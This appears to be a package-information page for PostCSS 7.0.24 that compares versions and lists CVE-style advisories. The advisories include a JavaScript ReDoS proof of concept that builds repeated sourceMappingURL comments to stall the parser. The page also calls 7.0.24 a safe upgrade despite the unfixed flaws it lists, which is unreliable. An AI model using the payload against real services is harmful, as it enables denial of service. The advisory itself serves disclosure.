PostCSS version 7.0.24 represents a minor update to the popular CSS transformation tool, building upon the foundation established by version 7.0.23. Both versions share the same core functionality, description, and dependencies, including chalk, source-map, and supports-color, essential for enhancing the developer experience and ensuring compatibility. The fundamental tooling for transforming styles with JS plugins remains consistent. Both versions also share the same licensing (MIT), repository, author, and funding information through Tidelift. Developers can expect the same level of support and community engagement in both versions.
The primary difference lies in the release date and, possibly, internal bug fixes or minor performance improvements. Version 7.0.24 was released on December 6, 2019, subsequent to version 7.0.23's release on November 18, 2019. The unpacked size is also slightly different, with version 7.0.24 being marginally larger (600550 bytes compared to 600273 bytes), potentially indicating added features, internal adjustments, or fixed bugs. For developers, this suggests that upgrading to 7.0.24 is a safe bet, offering potential stability improvements and refinements without introducing breaking changes, especially if developers benefit from the most up-to-date bug fixes and subtle performance gains. Keeping PostCSS updated ensures access to the latest advancements in CSS processing and a more robust development workflow.
All the vulnerabilities related to the version 7.0.24 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.